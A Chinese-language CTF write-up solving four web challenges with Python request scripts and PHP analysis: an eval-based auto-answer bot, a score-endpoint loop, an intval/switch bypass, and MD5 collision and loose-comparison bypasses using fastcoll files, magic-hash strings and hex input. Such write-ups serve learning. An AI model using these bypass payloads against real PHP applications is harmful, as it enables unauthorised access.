judge
上代码不解释了:P 随便写的,写的不太好
import requests import re import time url = "http://149.129.103.121:8008/" s=requests.session() for i in range(20): r = s.get(url) view = r.text question = "".join(re.findall("<div>(.*?)=.*?</div>",view)) answer = "".join(re.findall("<div>.*?=(.*?)</div>",view)) right = str(eval(question)) if(right==answer): data = {'answer':'true'} else: data = {'answer':'false'} time.sleep(1) rr = s.post(url,data=data) print(rr.text)
snake
游戏结束,抓包发现有一个getScore.php,每次访问都会增加积分,但是访问太快积分会清零,写脚本不断去访问,每次执行休眠2s:
import requests import time url = "http://149.129.103.121:8009/getScore.php" s=requests.session() for i in range(52): r = s.get(url) view = r.text print(view) time.sleep(2)
幸运大杂烩
抓包看到了响应头的hint,依次解16进制、base32和base64得到hint:vim~
于是尝试在url后输入/index.php~得到如下源码:
<?php header('content-type:text/html;charset=utf-8'); include './flag.php'; error_reporting(0); if(empty($_GET['id'])){ header('location:./1ndex.php'); }else{ $id = $_GET['id']; if (!is_numeric($id)) { $id = intval($id); switch ($id) { case $id>=0: echo "快出去吧,走错路了~~~<br>"; echo "这么简单都不会么?"; break; case $id>=10: exit($flag); break; default: echo "你走不到这一步的!"; break; } } } ?>
输入不为数字的参数id,且参数不能>=0,可参数必须>10。(???
认真分析了下,如果传入一个不是数字的参数时,函数intval()返回0,也就是switch(0)。
$id>=0也就是0>=0,返回真(1);
$id>=10也就是0>=10,返回假(0),退出整个代码,显示flag。
audit
这道题想做很久了,但是代码太长了最近又没时间不能好好静下心来,咕咕了好久。
<?php highlight_file(__FILE__); include('flag.php'); $str1 = @$_GET['str1']; $str2 = @$_GET['str2']; $str3 = @$_GET['str3']; $str4 = @$_GET['str4']; $str5 = (string)@$_POST['str5']; $str6 = (string)@$_POST['str6']; $str7 = (string)@$_POST['str7']; if( $str1 == $str2 ){ die('str1 OR Sstr2 no no no'); } if( md5($str1) != md5($str2) ){ die('step 1 fail'); } if( $str3 == $str4 ){ die('str3 OR str4 no no no'); } if ( md5($str3) !== md5($str4)){ die('step 2 fail'); } if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){ die('str5 OR str6 OR str7 no no no'); } if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){ die('step 3 fail'); } if(!($_POST['a']) and !($_POST['b'])) { echo "come on!"; die(); } $a = $_POST['a']; $b = $_POST['b']; $m = $_GET['m']; $n = $_GET['n']; if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) { echo "a OR b fail!"; die(); } if ((strlen($m) > 4) || (strlen($n) > 4)) { echo "m OR n fail"; die(); } $str8 = hash('md5', $a, false); $str9 = strtr(hash('md5', $b, false), $m, $n); echo "<p>str8 : $str8</p>"; echo "<p>str9 : $str9</p>"; if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6)) { echo "You're great,give you flag:"; echo $flag; }
前面都好说,考的是PHP的黑魔法,主要是在这里:
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){ die('str5 OR str6 OR str7 no no no'); } if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){ die('step 3 fail'); }
可以利用Three way MD5 collision给的三个图片强行碰撞,(偷偷存一下这个笔记:戳我。
此外,还可以用md5快速碰撞工具fastcoll生成,生成四个md5值相同的文件的方法如下:(还需要用到tail工具)
【先生成两个MD5值相同的文件】
fastcoll_v1.0.0.5.exe -o test0 test1
【然后根据test1再生成两个MD5值相同的文件,此时test00,test01的MD5值相同】
fastcoll_v1.0.0.5.exe -p test1 -o test00 test01
【将test00的最后128位写入文件a,(-c 128 表示最后128位,tail读文件是从后往前读的,这128位正是test1和test00MD5不同的原因),同理处理一下test01】
tail.exe -c 128 test00 > a
tail.exe -c 128 test01 > b
【执行type命令将test0和a的内容写进test10中,将test0和b的内容写入test11】
type test0 a > test10
type test1 b > test11
这样就生成了test00,test01,test10,test11四个MD5值相同的文件。
通过python脚本将文件上传:
import requests url = "http://149.129.103.121:8003/?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2" s = requests.session() data = {'str5':open("test00", 'rb'),'str6':open("test01", 'rb'),'str7':open("test10", 'rb')} rr = s.post(url,data=data) print(rr.text)
回显come on!,OK我们继续,接下来要做的事是让$str8
和$str9
相等。仔细看这一行语句:
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
第一个比较用的是“==”而不是全等,所以可以用PHP的黑魔法,0e开头的md5就可以绕过,又因为$a必须是大写字母,所以$a很容易确定是QNKCDZO。对于$b可以使用脚本进行碰撞。
$b的md5形式又要替换几个东西赋值给$str9
变量,且$m
和$n
都不能大于4,我刚开始写了正常六位数字md5的脚本进行碰撞(脚本丑陋:
import hashlib import re b = '0987654321' for q in b: for w in b: for e in b: for r in b: for t in b: for y in b: count = 0 strr = str(q)+str(w)+str(e)+str(r)+str(t)+str(y) md5 = hashlib.md5(strr.encode('utf-8')).hexdigest() if (re.findall('^0e.(.*?)',md5)): for i in md5: if (ord(i)>=97 and ord(i)<=122): count += 1 if(count <= 4): print(strr+" ====>"+md5)
运行后仅得到:
712842 ====>0e95f93717197350750300734ae63001
因为e冲突了,所以这种方法不能用,想到is_numeric
还识别十六进制,尝试十六进制的碰撞:
import hashlib import re b = '0987654321' for q in b: for w in b: for e in b: for r in b: count = 0 strr = "0x"+str(q)+str(w)+str(e)+str(r) md5 = hashlib.md5(strr.encode('utf-8')).hexdigest() if (re.findall('^0e.(.*?)',md5)): print(strr+" ====> "+md5)
运行后我一眼相中了这个Q Q,完美符合我的要求:
最后脚本如下,运行后得到flag:
import requests url = "http://149.129.103.121:8003/?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&m=acfd&n=1111" s = requests.session() data = { 'str5':open("test00", 'rb'), 'str6':open("test01", 'rb'), 'str7':open("test10", 'rb'), 'a':'QNKCDZO','b':'0x6758' } rr = s.post(url,data=data) print(rr.text)